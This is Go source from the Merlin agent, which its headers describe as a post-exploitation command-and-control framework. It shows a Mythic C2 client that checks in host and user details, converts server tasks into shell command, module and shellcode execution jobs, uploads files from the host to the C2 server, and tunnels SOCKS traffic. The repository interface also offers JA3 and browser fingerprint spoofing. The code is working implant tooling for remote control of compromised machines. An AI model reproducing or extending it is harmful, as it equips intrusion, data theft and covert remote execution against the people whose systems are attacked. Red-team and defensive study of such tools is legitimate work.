transport = &http.Transport{
TLSClientConfig: TLSConfig,
MaxIdleConns: 10,
Proxy: proxyFunc,
IdleConnTimeout: 1 * time.Nanosecond,
}
case "http":
transport = &http.Transport{
MaxIdleConns: 10,
Proxy: proxyFunc,
IdleConnTimeout: 1 * time.Nanosecond,
}
default:
return nil, fmt.Errorf("%s is not a valid client protocol", protocol)
}
return &http.Client{Transport: transport}, nil
}
// Deconstruct takes in a byte array that is unmarshalled from a JSON structure to Mythic structure, and
// then it is subsequently converted into a Merlin messages.Base structure
func (client *Client) Deconstruct(data []byte) (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, "Entering into clients.mythic.Deconstruct()...")
// Transforms
for _, t := range client.transformers {
var ret any
if t.String() == "mythic" {
ret, err = t.Deconstruct(data, []byte(client.MythicID.String()))
data = ret.([]byte)
} else {
ret, err = t.Deconstruct(data, client.secret)
data = ret.([]byte)
}
if err != nil {
err = fmt.Errorf("there was an error transforming the Mythic message:\n%s", err)
return
}
}
cli.Message(cli.DEBUG, fmt.Sprintf("Decrypted JSON:\n%s", data))
// Determine the action, so we know what structure to unmarshal to
var action string
if bytes.Contains(data, []byte("\"action\":\"checkin\"")) {
action = CHECKIN
} else if bytes.Contains(data, []byte("\"action\":\"get_tasking\"")) {
action = TASKING
} else if bytes.Contains(data, []byte("\"action\":\"post_response\"")) {
action = RESPONSE
} else if bytes.Contains(data, []byte("\"action\":\"staging_rsa\"")) {
action = RSAStaging
} else if bytes.Contains(data, []byte("\"action\":\"upload\"")) {
action = UPLOAD
} else {
err = fmt.Errorf("message did not contain a known action:\n%s", data)
return
}
returnMessage := messages.Base{
ID: client.AgentID,
Type: messages.IDLE,
}
// Logic for processing or converting Mythic messages
cli.Message(cli.DEBUG, fmt.Sprintf("Action: %s", action))
switch action {
case CHECKIN:
var msg Response
// Unmarshal the JSON message
err = json.Unmarshal(data, &msg)
if err != nil {
err = fmt.Errorf("there was an error unmarshalling the JSON object in the message handler:\n%s", err)
return
}
if msg.Status == "success" {
cli.Message(cli.SUCCESS, "Initial checkin successful")
client.MythicID = uuid.MustParse(msg.ID)
return
}
err = fmt.Errorf("unknown checkin action status:\n%+v", msg)
return
case RSAStaging:
// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/initial-checkin#eke-by-generating-client-side-rsa-keys
var msg rsa2.Response
err = json.Unmarshal(data, &msg)
if err != nil {
err = fmt.Errorf("there was an error unmarshalling the JSON object to mythic.RSAResponse in the message handler:\n%s", err)
return
}
returnMessage.Type = messages.KEYEXCHANGE
returnMessage.Payload = msg
returnMessages = append(returnMessages, returnMessage)
case TASKING:
var msg Tasks
// Unmarshal the JSON message
err = json.Unmarshal(data, &msg)
if err != nil {
err = fmt.Errorf("there was an error unmarshalling the JSON object to mythic.Tasks in the message handler:\n%s", err)
return
}
// If there are any tasks/jobs, add them
if len(msg.Tasks) > 0 {
cli.Message(cli.DEBUG, fmt.Sprintf("returned Mythic tasks:\n%+v", msg))
returnMessage, err = client.convertTasksToJobs(msg.Tasks)
if err != nil {
return
}
returnMessages = append(returnMessages, returnMessage)
}
// SOCKS5
if len(msg.SOCKS) > 0 {
// There is SOCKS data to send to the SOCKS server
returnMessage, err = client.convertSocksToJobs(msg.SOCKS)
if err != nil {
cli.Message(cli.WARN, err.Error())
}
if len(returnMessage.Payload.([]jobs.Job)) > 0 {
returnMessages = append(returnMessages, returnMessage)
}
}
case RESPONSE:
// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response
var msg ServerPostResponse
err = json.Unmarshal(data, &msg)
if err != nil {
err = fmt.Errorf("there was an error unmarshalling the JSON object to a mythic.ServerTaskResponse structure in the message handler:\n%s", err)
return
}
// SOCKS5
if len(msg.SOCKS) > 0 {
// There is SOCKS data to send to the SOCKS server
returnMessage, err = client.convertSocksToJobs(msg.SOCKS)
if err != nil {
cli.Message(cli.WARN, err.Error())
}
if len(returnMessage.Payload.([]jobs.Job)) > 0 {
returnMessages = append(returnMessages, returnMessage)
}
}
cli.Message(cli.DEBUG, fmt.Sprintf("post_response results from the server: %+v", msg))
for _, response := range msg.Responses {
if response.Error != "" {
cli.Message(cli.WARN, fmt.Sprintf("There was an error sending a task to the Mythic server:\n%+v", response))
}
if response.FileID != "" {
cli.Message(cli.DEBUG, fmt.Sprintf("Mythic FileID: %s", response.FileID))
if response.Status == "success" {
job := jobs.Job{
AgentID: client.AgentID,
ID: response.ID,
Type: DownloadSend,
Payload: response.FileID,
}
returnMessage.Type = messages.JOBS
returnMessage.Payload = []jobs.Job{job}
returnMessages = append(returnMessages, returnMessage)
}
}
if response.Status == "success" && response.ID != "" {
returnMessage.Token = response.ID
returnMessage.Type = messages.IDLE
returnMessages = append(returnMessages, returnMessage)
}
}
return
default:
err = fmt.Errorf("unknown Mythic action: %s", action)
return
}
return
}
// Construct takes in Merlin message base, converts it into to a Mythic message JSON structure,
// encrypts it, prepends the Mythic UUID, and Base64 encodes the entire string
func (client *Client) Construct(m messages.Base) ([]byte, error) {
cli.Message(cli.DEBUG, "Entering into clients.mythic.Construct()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Input Merlin message base:\n %+v", m))
var err error
var data []byte
switch m.Type {
case messages.CHECKIN:
// Send the very first checkin message
if m.Payload != nil {
msg := m.Payload.(CheckIn)
msg.Padding = m.Padding
// Marshal the structure to a JSON object
data, err = json.Marshal(msg)
if err != nil {
return []byte{}, fmt.Errorf("there was an error marshalling the mythic.CheckIn structrong to JSON:\n%s", err)
}
} else { // Merlin had no responses to send back
task := Tasking{
Action: TASKING,
Size: -1,
Padding: m.Padding,
}
// Marshal the structure to a JSON object
data, err = json.Marshal(task)
if err != nil {
return []byte{}, fmt.Errorf("there was an error marshalling the mythic.CheckIn structure to JSON:\n%s", err)
}
}
case messages.JOBS:
returnMessage := PostResponse{
Action: RESPONSE,
Padding: m.Padding,
SOCKS: []Socks{},
Responses: []ClientTaskResponse{},
}
// Convert Merlin jobs to mythic response
for _, job := range m.Payload.([]jobs.Job) {
var response ClientTaskResponse
if job.ID != "" {
response.ID = uuid.MustParse(job.ID)
}
response.Completed = true
cli.Message(cli.DEBUG, fmt.Sprintf("Converting Merlin job type: %d to Mythic response", job.Type))
switch job.Type {
case jobs.RESULT:
response.Output = job.Payload.(jobs.Results).Stdout
if job.Payload.(jobs.Results).Stderr != "" {
response.Output += job.Payload.(jobs.Results).Stderr
response.Status = StatusError
}
returnMessage.Responses = append(returnMessage.Responses, response)
case jobs.AGENTINFO:
info, err := json.Marshal(job.Payload)
if err != nil {
response.Output = fmt.Sprintf("there was an error marshalling the AgentInfo structure to JSON:\n%s", err)
response.Status = StatusError
}
response.Output = string(info)
returnMessage.Responses = append(returnMessage.Responses, response)
case jobs.FILETRANSFER:
f := job.Payload.(jobs.FileTransfer)
// Download https://docs.mythic-c2.net/customizing/hooking-features/download
if f.IsDownload {
// DownloadInit - Get FileID from Mythic
// 1. PostResponse - Added in the convertToMythicMessage() function on the switch for DownloadSend
// 2. ClientTaskResponse
// 3. FileDownload
fm := FileDownload{
NumChunks: 1,
FullPath: f.FileLocation,
}
ctr := ClientTaskResponse{
ID: response.ID,
Download: &fm,
}
downloadMessage := messages.Base{
ID: client.AgentID,
Type: DownloadInit,
Payload: ctr,
}
resp, err := client.Send(downloadMessage)
if err != nil {
return []byte{}, fmt.Errorf("clients/mythic.convertToMythicMessage(): There was an error sending the mythic FileDownload:DownloadInit message to the server: %s", err)
}
// Get the file ID from the response
if len(resp) <= 0 {
return []byte{}, fmt.Errorf("clients/mythic.convertToMythicMessage(): The were no return messages after requesting a FileID from Mythic")
}
if resp[0].Type != messages.JOBS {
return []byte{}, fmt.Errorf("clients/mythic.convertToMythicMessage(): The first message in the response for DownloadInit was not a jobs message")
}
js := resp[0].Payload.([]jobs.Job)
if len(js) <= 0 {
return []byte{}, fmt.Errorf("clients/mythic.convertToMythicMessage(): The first message in the response for DownloadInit did not contain any jobs")
}
if js[0].Type != DownloadSend {
return []byte{}, fmt.Errorf("clients/mythic.convertToMythicMessage(): Expected the first job to be a DownloadSend(%d) job but received %d", DownloadSend, js[0].Type)
}
// TODO Chunk the data
// DownloadSend - Send actual data
fm2 := FileDownload{
Data: f.FileBlob,
FileID: js[0].Payload.(string),
Chunk: 1,
}
ctr.Download = &fm2
ctr.Completed = true
downloadMessage.Type = DownloadSend
downloadMessage.Payload = ctr
resp, err = client.Send(downloadMessage)
if err != nil {
return []byte{}, fmt.Errorf("there was an error sending the mythic FileDownload:DownloadSend message to the server: %s", err)
}
// If this is the only job, then return; else keep processing remaining jobs
if len(m.Payload.([]jobs.Job)) == 1 {
return []byte{}, nil
}
}
case jobs.SOCKS:
sockMsg := job.Payload.(jobs.Socks)
// SOCKS server's initial response is 0x05, 0x00
if bytes.Equal(sockMsg.Data, []byte{0x05, 0x00}) {
// Drop the job because Mythic doesn't need it for anything and we are spoofing the SOCKS handshake agent side
break
}
sock := Socks{
Exit: sockMsg.Close,
}
// Translate Merlin's SOCKS connection UUID to a Mythic server_id integer
id, ok := mythicSocksConnection.Load(sockMsg.ID)
if !ok {
err = fmt.Errorf("there was an error mapping the SOCKS connection ID %s to the Mythic connection ID", sockMsg.ID)
return []byte{}, err
}
sock.ServerId = id.(int32)
// Base64 encode the data
sock.Data = base64.StdEncoding.EncodeToString(sockMsg.Data)
//fmt.Printf("\t[*] SOCKS Data size: %d\n", len(sockMsg.Data))
// Add to return messages
returnMessage.SOCKS = append(returnMessage.SOCKS, sock)
// Clean up the maps
if sockMsg.Close {
socksConnection.Delete(id)
mythicSocksConnection.Delete(sockMsg.ID)
}
default:
return []byte{}, fmt.Errorf("unhandled job type in convertToMythicMessage: %s", job.Type)
}
}
// Marshal the structure to a JSON object
if len(returnMessage.Responses) == 0 && len(returnMessage.SOCKS) == 0 {
// Used when an input Merlin job has a SOCKS type, but we drop the message and don't want to send it to Mythic
task := Tasking{
Action: TASKING,
Size: -1,
Padding: m.Padding,
}
// Marshal the structure to a JSON object
data, err = json.Marshal(task)
if err != nil {
return []byte{}, fmt.Errorf("there was an error marshalling the mythic.CheckIn structure to JSON:\n%s", err)
}
} else {
data, err = json.Marshal(returnMessage)
if err != nil {
return []byte{}, fmt.Errorf("there was an error marshalling the mythic.PostResponse structure to JSON:\n%s", err)
}
}
case messages.KEYEXCHANGE:
if m.Payload != nil {
msg := m.Payload.(rsa2.Request)
msg.Padding = m.Padding
data, err = json.Marshal(msg)
if err != nil {
return []byte{}, fmt.Errorf("there was an error marshalling the mythic.RSARequest structrong to JSON:\n%s", err)
}
}
case DownloadInit:
returnMessage := PostResponse{
Action: RESPONSE,
Padding: m.Padding,
}
returnMessage.Responses = append(returnMessage.Responses, m.Payload.(ClientTaskResponse))
data, err = json.Marshal(returnMessage)
if err != nil {
return []byte{}, fmt.Errorf("there was an error marshalling the mythic.FileDownloadInitial structure to JSON: %s", err)
}
case DownloadSend:
returnMessage := PostResponse{
Action: RESPONSE,
Padding: m.Padding,
}
returnMessage.Responses = append(returnMessage.Responses, m.Payload.(ClientTaskResponse))
data, err = json.Marshal(returnMessage)
if err != nil {
return []byte{}, fmt.Errorf("there was an error marshalling the mythic.FileDownload structure to JSON: %s", err)
}
default:
return []byte{}, fmt.Errorf("unhandled message type: %d for convertToMythicMessage()", m.Type)
}
// Transforms
cli.Message(cli.DEBUG, fmt.Sprintf("clients/mythic.Construct(): Transformers: %+v", client.transformers))
for i := len(client.transformers); i > 0; i-- {
if client.transformers[i-1].String() == "mythic" {
data, err = client.transformers[i-1].Construct(data, []byte(client.MythicID.String()))
} else {
data, err = client.transformers[i-1].Construct(data, client.secret)
}
cli.Message(cli.DEBUG, fmt.Sprintf("%d call with transform %s - Constructed data(%d) %T: %X\n", i, client.transformers[i-1], len(data), data, data))
if err != nil {
return []byte{}, fmt.Errorf("there was an error transforming the Mythic task:\n%s", err)
}
}
return data, nil
}
// convertSocksToJobs takes in Mythic socks messages and translates them into Merlin jobs
func (client *Client) convertSocksToJobs(socks []Socks) (base messages.Base, err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("Entering into clients.mythic.convertSocksToJobs() with %+v", socks))
//fmt.Printf("Entering into clients.mythic.convertSocksToJobs() with %d socks messages: %+v\n", len(socks), socks)
base.Type = messages.JOBS
base.ID = client.AgentID
var returnJobs []jobs.Job
for _, sock := range socks {
job := jobs.Job{
AgentID: client.AgentID,
Type: jobs.SOCKS,
}
payload := jobs.Socks{
Close: sock.Exit,
}
// Translate Mythic's server ID to UUID
id, ok := socksConnection.Load(sock.ServerId)
if !ok {
// This is for a new, first time, SOCKS connection
id = uuid.New()
socksConnection.Store(sock.ServerId, id)
mythicSocksConnection.Store(id, sock.ServerId)
socksCounter.Store(id, 0)
// Spoof SOCKS handshake with Merlin Agent
payload.ID = id.(uuid.UUID)
payload.Data = []byte{0x05, 0x01, 0x00}
payload.Index = 0
job.Payload = payload
returnJobs = append(returnJobs, job)
}
payload.ID = id.(uuid.UUID)
// Base64 decode the data
payload.Data, err = base64.StdEncoding.DecodeString(sock.Data)
if err != nil {
err = fmt.Errorf("there was an error base64 decoding the SOCKS message data: %s", err)
return
}
//fmt.Printf("\tID: %d, Data length: %d\n", sock.ServerId, len(payload.Data))
// Load the data packet counter
i, ok := socksCounter.Load(id)
if !ok {
err = fmt.Errorf("there was an error getting the SOCKS counter for the UUID: %s", id)
return
}
payload.Index = i.(int) + 1
job.Payload = payload
socksCounter.Store(id, i.(int)+1)
returnJobs = append(returnJobs, job)
}
base.Payload = returnJobs
return
}
// convertTasksToJobs is a function that converts Mythic tasks into a Merlin jobs structure
func (client *Client) convertTasksToJobs(tasks []Task) (messages.Base, error) {
cli.Message(cli.DEBUG, "Entering into clients.mythic.convertTasksToJobs()")
cli.Message(cli.DEBUG, fmt.Sprintf("Input task:\n%+v", tasks))
// Merlin messages.Base structure
base := messages.Base{
ID: client.AgentID,
Type: messages.JOBS,
}
var returnJobs []jobs.Job
for _, task := range tasks {
var mythicJob Job
var job jobs.Job
err := json.Unmarshal([]byte(task.Params), &mythicJob)
if err != nil {
return messages.Base{}, fmt.Errorf("there was an error unmarshalling the Mythic task parameters to a mythic.Job:\n%s", err)
}
job.AgentID = client.AgentID
job.ID = task.ID
job.Token = uuid.MustParse(task.ID)
job.Type = jobs.IntToType(mythicJob.Type)
cli.Message(cli.DEBUG, fmt.Sprintf("Switching on mythic.Job type %d", mythicJob.Type))
switch job.Type {
case jobs.CMD, jobs.CONTROL, jobs.NATIVE:
var payload jobs.Command
err = json.Unmarshal([]byte(mythicJob.Payload), &payload)
if err != nil {
return base, fmt.Errorf("there was an error unmarshalling the Mythic job payload to a jobs.CMD structure:\n%s", err)
}
cli.Message(cli.DEBUG, fmt.Sprintf("unmarshalled jobs.Command structure:\n%+v", payload))
job.Payload = payload
returnJobs = append(returnJobs, job)
case jobs.FILETRANSFER:
var payload jobs.FileTransfer
err = json.Unmarshal([]byte(mythicJob.Payload), &payload)
if err != nil {
return base, fmt.Errorf("there was an error unmarshalling the Mythic job payload to a jobs.FileTransfer structure:\n%s", err)
}
cli.Message(cli.DEBUG, fmt.Sprintf("unmarshalled jobs.FileTransfer structure:\n%+v", payload))
job.Payload = payload
returnJobs = append(returnJobs, job)
case jobs.MODULE:
var payload jobs.Command
err = json.Unmarshal([]byte(mythicJob.Payload), &payload)
if err != nil {
return base, fmt.Errorf("there was an error unmarshalling the Mythic job payload to a jobs.Command structure:\n%s", err)
}
job.Payload = payload
returnJobs = append(returnJobs, job)
case jobs.SHELLCODE:
var payload jobs.Shellcode
err = json.Unmarshal([]byte(mythicJob.Payload), &payload)
if err != nil {
return base, fmt.Errorf("there was an error unmarshalling the Mythic job payload to a jobs.Shellcode structure:\n%s", err)
}
job.Payload = payload
returnJobs = append(returnJobs, job)
case 0:
// case 0 means that a job type was not added to the task from the Mythic server
// Commonly seen with SOCKS messages
if strings.ToLower(task.Command) == "socks" {
cli.Message(cli.NOTE, fmt.Sprintf("Received Mythic SOCKS task: %+v", task))
var params SocksParams
err = json.Unmarshal([]byte(task.Params), ¶ms)
if err != nil {
return base, fmt.Errorf("there was an error unmarshalling the Mythic SOCKS Params payload: %s", err)
}
switch params.Action {
case "start", "stop":
// Send message back to Mythic that SOCKS has been started/stopped
job.Type = jobs.RESULT
job.Payload = jobs.Results{}
returnJobs = append(returnJobs, job)
default:
cli.Message(cli.WARN, fmt.Sprintf("Unknown socks command: %s", params.Action))
}
} else {
cli.Message(cli.WARN, fmt.Sprintf("Unhandled Mythic task %+v", task))
}
default:
return base, fmt.Errorf("unknown mythic.job type: %d", mythicJob.Type)
}
}
// Add the list of jobs to the message base
base.Payload = returnJobs
return base, nil
}
// getProxy returns a proxy function for the passed in protocol and proxy URL if any
// Reads the HTTP_PROXY and HTTPS_PROXY environment variables if no proxy URL was passed in
func getProxy(protocol string, proxyURL string) (func(*http.Request) (*url.URL, error), error) {
cli.Message(cli.DEBUG, "Entering into clients.http.getProxy()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s", protocol, proxyURL))
// The HTTP/2 protocol does not support proxies
if strings.ToLower(protocol) != "http" && strings.ToLower(protocol) != "https" {
if proxyURL != "" {
return nil, fmt.Errorf("clients/http.getProxy(): %s protocol does not support proxies; use http or https protocol", protocol)
}
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.getProxy(): %s protocol does not support proxies, continuing without proxy (if any)", protocol))
return nil, nil
}
var proxy func(*http.Request) (*url.URL, error)
if proxyURL != "" {
rawURL, errProxy := url.Parse(proxyURL)
if errProxy != nil {
return nil, fmt.Errorf("there was an error parsing the proxy string:\n%s", errProxy.Error())
}
cli.Message(cli.DEBUG, fmt.Sprintf("Parsed Proxy URL: %+v", rawURL))
proxy = http.ProxyURL(rawURL)
return proxy, nil
}
// Check for, and use, HTTP_PROXY, HTTPS_PROXY and NO_PROXY environment variables
var p string
switch strings.ToLower(protocol) {
case "http":
p = os.Getenv("HTTP_PROXY")
case "https":
p = os.Getenv("HTTPS_PROXY")
}
if p != "" {
cli.Message(cli.NOTE,
fmt.Sprintf("Using proxy from environment variables for protocol %s: %s", protocol, p))
proxy = http.ProxyFromEnvironment
}
return proxy, nil
}
// selectIP identifies a single IP address to associate with the agent from all interfaces on the host.
// The goal is to remove link-local and loop-back addresses.
func selectIP(ips []string) string {
for _, ip := range ips {
if !strings.HasPrefix(ip, "127.") && !strings.HasPrefix(ip, "::1/128") && !strings.HasPrefix(ip, "fe80::") {
return ip
}
}
return ips[0]
}
================================================
FILE: clients/mythic/structs.go
================================================
//go:build mythic
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package mythic
import (
"github.com/google/uuid"
)
const (
// CHECKIN is Mythic action https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/initial-checkin
CHECKIN = "checkin"
// TASKING is a Mythic action https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action_get_tasking
TASKING = "get_tasking"
// RESPONSE is used to send a message back to the Mythic server https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response
RESPONSE = "post_response"
// StatusError is used to when there is an error
StatusError = "error"
// RSAStaging is used to setup and complete the RSA key exchange https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/initial-checkin
RSAStaging = "staging_rsa"
// UPLOAD is a Mythic action https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-upload
UPLOAD = "upload"
// Custom
// DownloadInit is used as the first download message from the Mythic server
DownloadInit = 300
// DownloadSend is used after the init message to send the file
DownloadSend = 301
)
// CheckIn is the initial structure sent to Mythic
type CheckIn struct {
Action string `json:"action"` // "action": "checkin", // required
IP string `json:"ip"` // "ip": "127.0.0.1", // internal ip address - required
OS string `json:"os"` // "os": "macOS 10.15", // os version - required
User string `json:"user"` // "user": "its-a-feature", // username of current user - required
Host string `json:"host"` // "host": "spooky.local", // hostname of the computer - required
PID int `json:"pid"` // "pid": 4444, // pid of the current process - required
PayloadID string `json:"uuid"` // "uuid": "payload uuid", //uuid of the payload - required
Arch string `json:"architecture,omitempty"` // "architecture": "x64", // platform arch - optional
Domain string `json:"domain,omitempty"` // "domain": "test", // domain of the host - optional
Integrity int `json:"integrity_level,omitempty"` // "integrity_level": 3, // integrity level of the process - optional
ExternalIP string `json:"external_ip,omitempty"` // "external_ip": "8.8.8.8", // external ip if known - optional
EncryptionKey string `json:"encryption_key,omitempty"` // "encryption_key": "base64 of key", // encryption key - optional
DecryptionKey string `json:"decryption_key,omitempty"` // "decryption_key": "base64 of key", // decryption key - optional
Process string `json:"process_name,omitempty"` // "process": "process name", // name of the process - optional
Padding string `json:"padding,omitempty"`
}
// Response is the message structure returned from the Mythic server
type Response struct {
Action string `json:"action"`
ID string `json:"id"`
Status string `json:"status"`
}
// Error message returned from Mythic HTTP profile
type Error struct {
Status string `json:"status"`
Error string `json:"error"`
}
// Tasking is used by the agent to request a specified number of tasks from the server
type Tasking struct {
Action string `json:"action"`
Size int `json:"tasking_size"`
Padding string `json:"padding,omitempty"`
}
// Tasks holds a list of tasks for the agent to process
type Tasks struct {
Action string `json:"action"`
Tasks []Task `json:"tasks"`
SOCKS []Socks `json:"socks,omitempty"`
}
// Task contains the task identifier, command, and parameters for the agent to execute
type Task struct {
ID string `json:"id"`
Command string `json:"command"`
Params string `json:"parameters"`
Time float64 `json:"timestamp"`
}
// Job structure
type Job struct {
Type int `json:"type"`
Payload string `json:"payload"`
}
// PostResponse is the structure used to send a list of messages from the agent to the server
type PostResponse struct {
Action string `json:"action"`
Responses []ClientTaskResponse `json:"responses"` // TODO This needs to be an interface so it can handle both ClientTaskResponse and FileDownloadInitialMessage
Padding string `json:"padding,omitempty"`
SOCKS []Socks `json:"socks,omitempty"`
}
// ClientTaskResponse is the structure used to return the results of a task to the Mythic server
// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response
type ClientTaskResponse struct {
ID uuid.UUID `json:"task_id"`
Download *FileDownload `json:"download,omitempty"`
Output string `json:"user_output,omitempty"`
Status string `json:"status,omitempty"`
Completed bool `json:"completed,omitempty"`
}
// ServerTaskResponse is the message Mythic returns to the client after it sent a ClientTaskResponse message
// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response
type ServerTaskResponse struct {
ID string `json:"task_id"`
Status string `json:"status"`
Error string `json:"error"`
FileID string `json:"file_id,omitempty"`
}
// ServerPostResponse structure holds a list of ServerTaskResponse structure
type ServerPostResponse struct {
Action string `json:"action"`
Responses []ServerTaskResponse `json:"responses"`
SOCKS []Socks `json:"socks,omitempty"`
}
// PostResponseFile is the structure used to send a list of messages from the agent to the server
type PostResponseFile struct {
Action string `json:"action"`
Responses []FileDownload `json:"responses"`
Padding string `json:"padding,omitempty"`
}
// FileDownloadInitialMessage contains the information for the initial step of the file download process
type FileDownloadInitialMessage struct {
NumChunks int `json:"total_chunks"`
TaskID string `json:"task_id"`
FullPath string `json:"full_path"`
IsScreenshot bool `json:"is_screenshot"`
}
// PostResponseDownload is used to send a response to the Mythic server
type PostResponseDownload struct {
Action string `json:"action"`
Responses []FileDownload `json:"responses"`
Padding string `json:"padding,omitempty"`
}
// FileDownload sends a chunk of Base64 encoded data from the agent to the server
type FileDownload struct {
FileID string `json:"file_id,omitempty"` // UUID from FileDownloadResponse
NumChunks int `json:"total_chunks,omitempty"`
Chunk int `json:"chunk_num,omitempty"`
Data string `json:"chunk_data,omitempty"` // Base64 encoded data
FullPath string `json:"full_path,omitempty"`
IsScreenshot bool `json:"is_screenshot,omitempty"`
}
// DownloadResponse is the server's response to a FileDownload message
type DownloadResponse struct {
Status string `json:"status"`
TaskID string `json:"task_id"`
}
// UploadRequest is message
// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-upload
type UploadRequest struct {
Action string `json:"action"`
TaskID string `json:"task_id"` // the associated task that caused the agent to pull down this file
FileID string `json:"file_id"` // the file specified to pull down to the target
Path string `json:"full_path"` // ull path to uploaded file on Agent's host
Size int `json:"chunk_size"` // bytes of file per chunk
Chunk int `json:"chunk_num"` // which chunk are we currently pulling down
}
// UploadResponse is the message sent from the server to an agent
// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-upload
type UploadResponse struct {
Path string `json:"remote_path"`
FileID string `json:"file_id"`
}
// Socks is used to send SOCKS data between the SOCKS client and the agent and is an array on the
// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/socks#what-do-socks-messages-look-like
type Socks struct {
ServerId int32 `json:"server_id"`
Data string `json:"data"`
Exit bool `json:"exit"`
}
// SocksParams is used as an embedded structure for the Task structure when the Command field is "socks"
type SocksParams struct {
Action string `json:"action"`
Port int `json:"port"`
}
================================================
FILE: clients/repository.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package clients
type Repository interface {
// Add stores the Client structure
Add(client Client)
// Get returns a copy of the current Client structure
Get() Client
// SetJA3 reconfigures the client's TLS fingerprint to match the provided JA3 string
SetJA3(ja3 string) error
// SetListener changes the client's upstream listener ID, a UUID, to the value provided
SetListener(listener string) error
// SetPadding changes the maximum amount of random padding added to each outgoing message
SetPadding(padding string) error
// SetParrot reconfigures the client's HTTP configuration to match the provided browser
SetParrot(parrot string) error
}
================================================
FILE: clients/smb/smb.go
================================================
//go:build (!smb && (http || http1 || http2 || http3 || mythic || winhttp || tcp || udp)) || (!smb && !windows)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package smb contains a configurable client used for Windows-based SMB peer-to-peer Agent communications
package smb
import (
// Standard
"fmt"
"runtime"
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
)
// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server
type Client struct {
}
// Config is a structure used to pass in all necessary information to instantiate a new Client
type Config struct {
Address []string // Address the interface and port the agent will bind to
AgentID uuid.UUID // AgentID the Agent's UUID
AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server
ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with
Padding string // Padding the max amount of data that will be randomly selected and appended to every message
PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication
Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE)
}
// New instantiates and returns a Client that is constructed from the passed in Config
func New(Config) (*Client, error) {
if runtime.GOOS == "windows" {
return nil, fmt.Errorf("clients/smb.New(): SMB client not compiled into this program")
}
return nil, fmt.Errorf("clients/smb.New(): this function is not supported by the %s operating system", runtime.GOOS)
}
// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol
// The function must take in a Base message for when the C2 server requests re-authentication through a message
func (client *Client) Authenticate(messages.Base) (err error) {
return fmt.Errorf("clients/smb.Authenticate(): SMB client not compiled into this program")
}
// Get is a generic function used to retrieve the value of a Client's field
func (client *Client) Get(string) string {
return fmt.Sprintf("clients/smb.Get(): SMB client not compiled into this program")
}
// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent
func (client *Client) Initial() error {
return fmt.Errorf("clients/smb.Initial(): SMB client not compiled into this program")
}
// Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them
func (client *Client) Listen() (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/smb.LIsten(): SMB client not compiled into this program")
return
}
// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.
// This function DOES not wait or listen for response messages.
func (client *Client) Send(messages.Base) (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/smb.Send(): SMB client not compiled into this program")
return
}
// Set is a generic function that is used to modify a Client's field values
func (client *Client) Set(key string, value string) error {
return fmt.Errorf("clients/smb.Set(): SMB client not compiled into this program")
}
// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages
// can be sent/received.
func (client *Client) Synchronous() bool {
return false
}
================================================
FILE: clients/smb/smb_windows.go
================================================
//go:build smb || !(http || http1 || http2 || http3 || mythic || winhttp || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
